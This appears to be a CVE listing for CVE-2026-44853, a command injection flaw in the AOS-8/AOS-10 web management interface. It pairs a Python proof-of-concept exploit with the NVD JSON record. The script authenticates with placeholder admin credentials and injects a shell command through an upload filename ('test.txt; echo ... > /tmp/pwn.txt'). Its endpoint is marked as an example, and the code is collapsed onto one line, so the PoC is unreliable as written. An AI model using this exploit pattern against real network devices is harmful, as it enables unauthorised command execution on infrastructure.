CVE-2026-44853

import requests # CVE-2026-44853 PoC (Command Injection in AOS-8/AOS-10) # This script demonstrates the command injection vulnerability. # An authenticated attacker can upload a file or execute commands. target_url = "https://<target-ip>/api/v1/file/upload" # Example endpoint session = requests.Session() # Authenticate using high-privilege credentials (PR:H) login_data = {"username": "admin", "password": "password"} session.post(target_url.replace("file/upload", "login"), data=login_data) # Inject command via vulnerable parameter (e.g., filename or path) # Example payload: ; echo 'CVE-2026-44853' > /tmp/pwn.txt payload = { "filename": "test.txt; echo 'CVE-2026-44853' > /tmp/pwn.txt", "file_content": "dummy content" } response = session.post(target_url, files=payload) if response.status_code == 200: print("[+] Exploit successful. Check /tmp/pwn.txt on target.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-44853", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:43.913", "lastModified": "2026-05-12T20:16:43.913", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}